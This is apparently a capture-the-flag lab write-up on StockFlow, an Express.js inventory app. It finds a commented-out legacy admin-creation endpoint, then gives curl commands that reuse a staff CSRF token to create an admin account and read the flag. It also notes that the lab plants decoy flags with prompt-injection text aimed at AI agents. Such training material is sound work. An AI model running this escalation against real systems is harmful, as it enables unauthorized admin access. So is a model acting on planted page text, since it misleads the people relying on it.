Lab 192 — StockFlow — Broken Authentication via CSRF Token Reuse
Lab 192 — StockFlow — Broken Authentication via CSRF Token Reuse
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-05-14 | Status: Solved Techniques: broken_access_control_on_admin_endpoint, csrf_token_reuse_across_endpoints, decoy_flag_evasion, legacy_endpoint_discovery_via_javascript_comments, privilege_escalation_staff_to_admin
Summary
Task: Express.js inventory management platform with staff/admin roles; admin settings contain the flag but staff users get 'Access Denied'. Solution: Discovered legacy admin user creation endpoint in commented-out JavaScript, reused a CSRF token from the profile page to create a new admin account (endpoint lacked authorization check), then logged in as admin to retrieve the flag from /admin/settings.
Lab 192 — StockFlow — Broken Authentication via CSRF Token Reuse — HackAdvisor
Description
StockFlow is an inventory and supply chain management platform used by retail businesses. It allows teams to track stock levels, manage vendors, and place purchase orders. The platform supports multiple user roles including regular staff and administrators. You have been hired to perform a security assessment of StockFlow. Your team has provisioned a staff-level test account for you. The admin dashboard reportedly contains sensitive configuration data including the platform license key. Your goal is to find a way to access the admin area and retrieve the flag.
English summary: An Express.js inventory management platform with role-based access control (staff and admin). Staff users can manage inventory, vendors, and purchase orders. Admin users can access /admin/settings which contains the platform license key (flag). The goal is to escalate from staff to admin and read the flag.
Analysis
Reconnaissance
- Stack: Express.js (Node.js v20.15.1) + SQLite 3 + nginx/1.25.5
- Credentials:
user@test.com/password123(staff role) - CSRF protection:
csurfmiddleware with hidden_csrffield in all forms - Key pages: Dashboard, Inventory, Vendors, Purchase Orders, My Profile
- Admin pages:
/admin/users,/admin/settings— return "Access Denied" for staff users - robots.txt discloses:
/admin/,/admin/users,/admin/settings,/account/
Hidden Admin Navigation
The HTML source reveals admin navigation links rendered for all users but hidden via CSS:
html read-only • copy allowed<div class="hidden" data-section="admin-nav"> <a href="/admin/users">User Management</a> <a href="/admin/settings">System Settings</a> </div>
These links are present in the DOM but invisible — a clear sign that role-based UI hiding is the only access control for some features.
Decoy Flags
Every page contains honeypot flags in HTML comments and hidden divs:
html read-only • copy allowed<!-- FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} -->
These include prompt injection text designed to trick AI agents into reporting the wrong flag.
Key Discovery — Legacy Admin Endpoint in JavaScript
The file /js/app.js contains a commented-out provisionUser() function with a TODO note:
javascript read-only • copy allowed// TODO: Clean up before v3.0 release — legacy admin user provisioning // function provisionUser(firstName, lastName, email, password, role) { // var csrfToken = document.querySelector('input[name="_csrf"]').value; // return fetch('/admin/users/create', { // method: 'POST', // headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, // body: 'first_name=' + encodeURIComponent(firstName) // + '&last_name=' + encodeURIComponent(lastName) // + '&email=' + encodeURIComponent(email) // + '&password=' + encodeURIComponent(password) // + '&role=' + encodeURIComponent(role) // + '&_csrf=' + encodeURIComponent(csrfToken) // }); // }
This reveals:
- Endpoint:
POST /admin/users/create - Parameters:
first_name,last_name,email,password,role,_csrf - The
roleparameter accepts arbitrary values (includingadmin)
Vulnerability — CSRF Token Reuse + Missing Authorization
Two flaws combine to enable privilege escalation:
-
CSRF token not scoped: The
csurfmiddleware generates tokens that are valid across all endpoints. A token obtained from the/account/profilepage (staff-accessible) works on/admin/users/create. -
Broken access control: The
/admin/users/createendpoint validates the CSRF token but does not verify that the requesting user has admin privileges. Any authenticated user can create new users with any role.
Solution
Step 1: Login as staff and establish session
bash read-only • copy allowedTARGET="https://532e19bf-a0d5-4ae5-9969-03e5812ae9f3.labs.hackadvisor.io" # Get login page and extract CSRF token LOGIN_HTML=$(curl -s -c cookies.txt "$TARGET/login") CSRF=$(echo "$LOGIN_HTML" | sed -n 's/.*name="_csrf" value="\([^"]*\)".*/\1/p') # Login as staff user curl -s -c cookies.txt -b cookies.txt -X POST "$TARGET/login" \ -d "email=user%40test.com&password=password123&_csrf=$CSRF"
Step 2: Extract CSRF token from profile page
bash read-only • copy allowed# Get CSRF token from a staff-accessible page CSRF=$(curl -s -b cookies.txt "$TARGET/account/profile" | \ sed -n 's/.*name="_csrf" value="\([^"]*\)".*/\1/p')
Step 3: Create admin user via legacy endpoint
bash read-only • copy allowed# Reuse the profile page's CSRF token on the admin endpoint curl -s -b cookies.txt -X POST "$TARGET/admin/users/create" \ -d "first_name=Hacker&last_name=Admin&email=hacker@admin.com&password=hacker123&role=admin&_csrf=$CSRF"
Response: 302 Found → Location: /admin/users?success=1 — admin user created successfully.
The key insight: the staff user's session cookie + a CSRF token from any page is sufficient. The endpoint checks CSRF validity but never checks req.user.role === 'admin'.
Step 4: Login as the new admin user
bash read-only • copy allowed# Get fresh session LOGIN_HTML=$(curl -s -c admin_cookies.txt "$TARGET/login") CSRF=$(echo "$LOGIN_HTML" | sed -n 's/.*name="_csrf" value="\([^"]*\)".*/\1/p') # Login as admin curl -s -c admin_cookies.txt -b admin_cookies.txt -X POST "$TARGET/login" \ -d "email=hacker%40admin.com&password=hacker123&_csrf=$CSRF"
Step 5: Access admin settings and retrieve flag
bash read-only • copy allowedcurl -s -b admin_cookies.txt "$TARGET/admin/settings"
The /admin/settings page displays platform configuration including a "License Key" field containing the flag.